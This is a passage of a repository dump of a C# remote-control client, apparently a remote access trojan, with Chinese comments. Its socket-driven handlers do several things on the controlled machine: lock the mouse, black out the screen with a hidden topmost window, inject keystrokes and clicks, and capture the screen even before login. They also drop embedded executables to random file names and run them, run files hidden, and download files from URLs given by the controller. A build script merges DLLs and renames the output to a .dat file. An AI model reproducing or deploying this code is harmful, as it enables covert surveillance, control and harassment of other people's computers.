39 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
40 | this.KeyPreview = true;
41 | this.Name = "FrmMain";
42 | this.ShowIcon = false;
43 | this.ShowInTaskbar = false;
44 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
45 | this.Text = "BlackScreen";
46 | this.TopMost = true;
47 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmMain_FormClosing);
48 | this.Load += new System.EventHandler(this.FrmMain_Load);
49 | this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FrmMain_KeyUp);
50 | this.ResumeLayout(false);
51 |
52 | }
53 |
54 | #endregion
55 |
56 |
57 | }
58 | }
59 |
60 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过以下
6 | // 特性集控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("")]
13 | [assembly: AssemblyCopyright("")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("001cb165-4cee-4b84-8ec6-bbb495136b3b")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace RemoteControl.Client.Excutor.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/RemoteControl.Client.Excutor.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | camcapture /fps:1
5 |
6 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/Utils/Win32Api.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Runtime.InteropServices;
5 |
6 | namespace RemoteControl.Client.BlackScreen
7 | {
8 | class Win32Api
9 | {
10 | [DllImport("user32.dll")]
11 | public static extern Int32 ShowWindow(Int32 hwnd, Int32 nCmdShow);
12 | public const Int32 SW_SHOW = 0x5;
13 | public const Int32 SW_HIDE = 0x0;
14 |
15 | [DllImport("user32.dll", EntryPoint = "FindWindow")]
16 | public static extern Int32 FindWindow(string lpClassName, string lpWindowName);
17 |
18 | [DllImport("user32.dll", CharSet = CharSet.Auto)]
19 | public static extern int SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int x, int y, int Width, int Height, int flags);
20 |
21 | [DllImport("user32.dll")]
22 | public static extern bool SetForegroundWindow(IntPtr hwnd);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/Utils/WinMMPlayer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Runtime.InteropServices;
6 |
7 | namespace RemoteControl.Client.Excutor.Utils
8 | {
9 | class WinMMPlayer
10 | {
11 | [DllImport("winmm.dll", EntryPoint = "mciSendString")]
12 | private static extern int mciSendString(string lpszCommand, string lpszReturnString, uint cchReturn, IntPtr hwndCallback);
13 |
14 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
15 | private static extern int GetShortPathName(string path, StringBuilder shortPath, int shortPathLength);
16 |
17 | public void PlayMusic(string path)
18 | {
19 | path = ToShortFileName(path);
20 | int ret1 = mciSendString("open \"" + path + "\" alias mymusic", "", 0, IntPtr.Zero);
21 | int ret2 = mciSendString("play mymusic", "", 0, IntPtr.Zero);
22 | }
23 |
24 | public void StopMusic()
25 | {
26 | mciSendString("close mymusic", null, 0, IntPtr.Zero);//关闭
27 | }
28 |
29 | private string ToShortFileName(string filePath)
30 | {
31 | StringBuilder shortFileName = new StringBuilder(1024);
32 | GetShortPathName(filePath, shortFileName, shortFileName.Capacity);
33 |
34 | return shortFileName.ToString();
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.Controls.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Controls.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.Imaging.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Imaging.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.Math.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Math.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.DirectShow.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.DirectShow.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.Video.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/AForge.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/AForge.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/Client.Excutor.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/Client.Excutor.dat
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/ILMerge.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/ILMerge.exe
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/RemoteControl.Client.Excutor.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Excutor/bin/Debug/RemoteControl.Client.Excutor.exe
--------------------------------------------------------------------------------
/RemoteControl.Client.Excutor/bin/Debug/combineDlls.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | ilmerge.exe /ndebug /targetplatform:v4 /target:winexe /out:Client.Excutor.exe /log RemoteControl.Client.Excutor.exe AForge.Controls.dll AForge.Imaging.dll AForge.Video.DirectShow.dll AForge.Video.dll
3 | rename Client.Excutor.exe Client.Excutor.dat
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Handlers/IRequestHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 |
7 | namespace RemoteControl.Client.Handlers
8 | {
9 | interface IRequestHandler
10 | {
11 | void Handle(SocketSession session, ePacketType reqType, object reqObj);
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Handlers/RequestGetDrivesHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestGetDrivesHandler : IRequestHandler
15 | {
16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var resp = new ResponseGetDrives();
19 | try
20 | {
21 | resp.drives = Environment.GetLogicalDrives().ToList();
22 | }
23 | catch (Exception ex)
24 | {
25 | resp.Result = false;
26 | resp.Message = ex.ToString();
27 | resp.Detail = ex.StackTrace.ToString();
28 | }
29 |
30 | session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp);
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Handlers/RequestOpenFileHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestOpenFileHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestOpenFile;
19 |
20 | ProcessUtil.Run(req.FilePath, "", req.IsHide, true);
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Handlers/RequestUploadHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using System.Threading;
8 | using System.IO;
9 | using RemoteControl.Protocals.Response;
10 |
11 | namespace RemoteControl.Client.Handlers
12 | {
13 | class RequestUploadHandler : AbstractRequestHandler
14 | {
15 | private RequestStartDownload _request = null;
16 | private Dictionary _fileUploadDic = new Dictionary();
17 |
18 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
19 | {
20 | if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST)
21 | {
22 | var req = reqObj as RequestStartUploadHeader;
23 | if (_fileUploadDic.ContainsKey(req.Id))
24 | return;
25 | FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write);
26 | _fileUploadDic.Add(req.Id, fs);
27 | }
28 | else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE)
29 | {
30 | var resp = reqObj as ResponseStartUpload;
31 | if (_fileUploadDic.ContainsKey(resp.Id))
32 | {
33 | FileStream fs = _fileUploadDic[resp.Id];
34 | fs.Write(resp.Data, 0, resp.Data.Length);
35 | }
36 | }
37 | else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST)
38 | {
39 | var req = reqObj as RequestStopUpload;
40 | if (_fileUploadDic.ContainsKey(req.Id))
41 | {
42 | _fileUploadDic[req.Id].Close();
43 | _fileUploadDic[req.Id].Dispose();
44 | _fileUploadDic.Remove(req.Id);
45 | }
46 | }
47 | }
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Loaders/Newtonsoft.Json.Lite.dll.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/Loaders/Newtonsoft.Json.Lite.dll.zip
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Loaders/RemoteControl.Protocals.dll.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/Loaders/RemoteControl.Protocals.dll.zip
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的常规信息通过下列属性集
6 | // 控制。更改这些属性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("")]
13 | [assembly: AssemblyCopyright("")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 使此程序集中的类型
18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
19 | // 则将该类型上的 ComVisible 属性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("4b9d0048-02b3-4266-a06f-57f052612c76")]
24 |
25 | // 程序集的版本信息由下面四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 内部版本号
30 | // 修订号
31 | //
32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/Utils/ScreenUtil.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Runtime.InteropServices;
6 | using System.Drawing;
7 | using System.Windows.Forms;
8 |
9 | namespace RemoteControl.Client
10 | {
11 | class ScreenUtil
12 | {
13 | ///
14 | /// 捕获屏幕
15 | /// 不支持未登陆时截图
16 | ///
17 | ///
18 | public static Image CaptureScreen1()
19 | {
20 | Image myImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
21 | Graphics g = Graphics.FromImage(myImage);
22 | g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height));
23 | IntPtr pDC = g.GetHdc();
24 | g.ReleaseHdc(pDC);
25 |
26 | return myImage;
27 | }
28 |
29 | [DllImport("Gdi32.dll")]
30 | public extern static int BitBlt(IntPtr hDC, int x, int y, int nWidth, int nHeight, IntPtr hSrcDC, int xSrc, int ySrc, int dwRop);
31 |
32 | ///
33 | /// 捕获屏幕
34 | /// 支持未登陆时截图
35 | ///
36 | ///
37 | public static Image CaptureScreen2()
38 | {
39 | int width = Screen.PrimaryScreen.Bounds.Width;
40 | int height = Screen.PrimaryScreen.Bounds.Height;
41 | Bitmap screenCopy = new Bitmap(width, height);
42 | using (Graphics gDest = Graphics.FromImage(screenCopy))
43 | {
44 | Graphics gSrc = Graphics.FromHwnd(IntPtr.Zero);
45 | IntPtr hSrcDC = gSrc.GetHdc();
46 | IntPtr hDC = gDest.GetHdc();
47 | int retval = BitBlt(hDC, 0, 0, width, height, hSrcDC, 0, 0, (int)(CopyPixelOperation.SourceCopy | CopyPixelOperation.CaptureBlt));
48 | gDest.ReleaseHdc();
49 | gSrc.ReleaseHdc();
50 | }
51 |
52 | return screenCopy;
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/bin/Debug/AssemblyLoaderHelper.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/AssemblyLoaderHelper.exe
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/bin/Debug/Newtonsoft.Json.Lite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/Newtonsoft.Json.Lite.dll
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Client.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Client.exe
--------------------------------------------------------------------------------
/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Protocals.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client.Lite/bin/Debug/RemoteControl.Protocals.dll
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/IRequestHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 |
7 | namespace RemoteControl.Client.Handlers
8 | {
9 | interface IRequestHandler
10 | {
11 | void Handle(SocketSession session, ePacketType reqType, object reqObj);
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestBlackScreenHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Audio;
8 | using RemoteControl.Audio.Codecs;
9 | using System.Threading;
10 | using System.IO;
11 | using RemoteControl.Protocals.Response;
12 | using RemoteControl.Protocals.Utilities;
13 |
14 | namespace RemoteControl.Client.Handlers
15 | {
16 | class RequestBlackScreenHandler : AbstractRequestHandler
17 | {
18 | private bool _isRunning = false;
19 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
20 | {
21 | if (reqType == ePacketType.PAKCET_BLACK_SCREEN_REQUEST)
22 | {
23 | // 开始
24 | if (_isRunning)
25 | return;
26 | RunTaskThread(StartBlackScreen, session);
27 | }
28 | else if (reqType == ePacketType.PAKCET_UN_BLACK_SCREEN_REQUEST)
29 | {
30 | // 停止
31 | _isRunning = false;
32 | RunTaskThread(StartUnBlackScreen, session);
33 | }
34 | }
35 |
36 | private void StartBlackScreen(SocketSession session)
37 | {
38 | try
39 | {
40 | // 释放黑屏程序
41 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME);
42 | string blackScreenFileName = ResUtil.WriteToRandomFile(data, "blackscreen.exe");
43 | // 启动黑屏程序
44 | ProcessUtil.RunByCmdStart(blackScreenFileName + " blackscreen", true);
45 | }
46 | catch (Exception ex)
47 | {
48 | Console.WriteLine(ex.Message);
49 | }
50 | }
51 |
52 | private void StartUnBlackScreen(SocketSession session)
53 | {
54 | try
55 | {
56 | ProcessUtil.KillProcess("blackscreen");
57 |
58 | Win32API.ShowWindow(Win32API.FindWindow(Win32API.Shell_TrayWnd_Name, null), Win32API.SW_SHOW);
59 | }
60 | catch (Exception ex)
61 | {
62 |
63 | }
64 | }
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestDownloadWebFileHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestDownloadWebFileHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestDownloadWebFile;
19 |
20 | try
21 | {
22 | // 释放程序
23 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME);
24 | string fileName = ResUtil.WriteToRandomFile(data,"download.exe");
25 | // 启动程序
26 | string arguments = string.Format("{0} {1}", req.WebFileUrl, req.DestinationPath);
27 | ProcessUtil.RunByCmdStart(fileName + " downloader " + arguments, true);
28 | }
29 | catch (Exception ex)
30 | {
31 | Console.WriteLine(ex.Message);
32 | }
33 | }
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestGetDrivesHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestGetDrivesHandler : IRequestHandler
15 | {
16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var resp = new ResponseGetDrives();
19 | try
20 | {
21 | resp.drives = Environment.GetLogicalDrives().ToList();
22 | }
23 | catch (Exception ex)
24 | {
25 | resp.Result = false;
26 | resp.Message = ex.ToString();
27 | resp.Detail = ex.StackTrace.ToString();
28 | }
29 |
30 | session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp);
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestKeyboardEventHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestKeyboardEventHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestKeyboardEvent;
19 |
20 | DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}",
21 | req.KeyCode, req.KeyValue, req.KeyOperation));
22 | KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation);
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestLockMouseHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Audio;
8 | using RemoteControl.Audio.Codecs;
9 | using System.Threading;
10 | using System.IO;
11 | using RemoteControl.Protocals.Response;
12 |
13 | namespace RemoteControl.Client.Handlers
14 | {
15 | class RequestLockMouseHandler : AbstractRequestHandler
16 | {
17 | private bool _isRunning = false;
18 | private RequestLockMouse _request = null;
19 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
20 | {
21 | if (reqType == ePacketType.PACKET_LOCK_MOUSE_REQUEST)
22 | {
23 | // 开始
24 | var req = reqObj as RequestLockMouse;
25 | if (_request == null)
26 | {
27 | _request = req;
28 | _isRunning = true;
29 | RunTaskThread(StartLockMouse, session);
30 | }
31 | else
32 | {
33 | return;
34 | }
35 | }
36 | else if (reqType == ePacketType.PACKET_UNLOCK_MOUSE_REQUEST)
37 | {
38 | // 停止
39 | _isRunning = false;
40 | }
41 | }
42 |
43 | private void StartLockMouse(SocketSession session)
44 | {
45 | for (int i = 0; i < _request.LockSeconds; i++)
46 | {
47 | if (!_isRunning)
48 | break;
49 | for (int j = 0; j < 100; j++)
50 | {
51 | MouseOpeUtil.MouseMove(0, 0);
52 | Thread.Sleep(10);
53 | }
54 | }
55 | _isRunning = false;
56 | _request = null;
57 | }
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestMouseEventHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestMouseEventHandler : AbstractRequestHandler
15 | {
16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
17 | {
18 | var req = reqObj as RequestMouseEvent;
19 |
20 | DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}",
21 | req.MouseButton,
22 | req.MouseOperation,
23 | req.MouseLocation.X, req.MouseLocation.Y));
24 |
25 | if (req.MouseOperation == eMouseOperations.MouseDown)
26 | {
27 | MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation);
28 | }
29 | else if (req.MouseOperation == eMouseOperations.MouseUp)
30 | {
31 | MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation);
32 | }
33 | else if (req.MouseOperation == eMouseOperations.MousePress)
34 | {
35 | MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation);
36 | }
37 | else if (req.MouseOperation == eMouseOperations.MouseDoubleClick)
38 | {
39 | MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation);
40 | }
41 | else if (req.MouseOperation == eMouseOperations.MouseMove)
42 | {
43 | MouseOpeUtil.MouseMove(req.MouseLocation);
44 | }
45 | else
46 | {
47 | return;
48 | }
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestMsgBoxHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
11 |
12 | namespace RemoteControl.Client.Handlers
13 | {
14 | class RequestMsgBoxHandler : AbstractRequestHandler
15 | {
16 | private string lastMsgBoxExeFile = null;
17 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
18 | {
19 | var req = reqObj as RequestMessageBox;
20 | StartShowMsgBox(session, req);
21 | }
22 |
23 | private void StartShowMsgBox(SocketSession session, RequestMessageBox req)
24 | {
25 | try
26 | {
27 | if (lastMsgBoxExeFile == null || !System.IO.File.Exists(lastMsgBoxExeFile))
28 | {
29 | // 释放弹窗程序
30 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME);
31 | string fileName = ResUtil.WriteToRandomFile(data, "msg.exe");
32 | lastMsgBoxExeFile = fileName;
33 | }
34 | // 启动弹窗程序
35 | string msgBoxArguments = string.Format("{0} {1} {2} {3}", req.Content, req.Title, req.MessageBoxButtons, req.MessageBoxIcons);
36 | ProcessUtil.RunByCmdStart(lastMsgBoxExeFile + " msgbox " + msgBoxArguments, true);
37 | }
38 | catch (Exception ex)
39 | {
40 | Console.WriteLine(ex.Message);
41 | }
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/RemoteControl.Client/Handlers/RequestOpeCDHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using RemoteControl.Protocals;
6 | using Microsoft.Win32;
7 | using RemoteControl.Protocals.Response;
8 | using RemoteControl.Protocals.Request;
9 | using System.Windows.Forms;
10 | using RemoteControl.Protocals.Utilities;
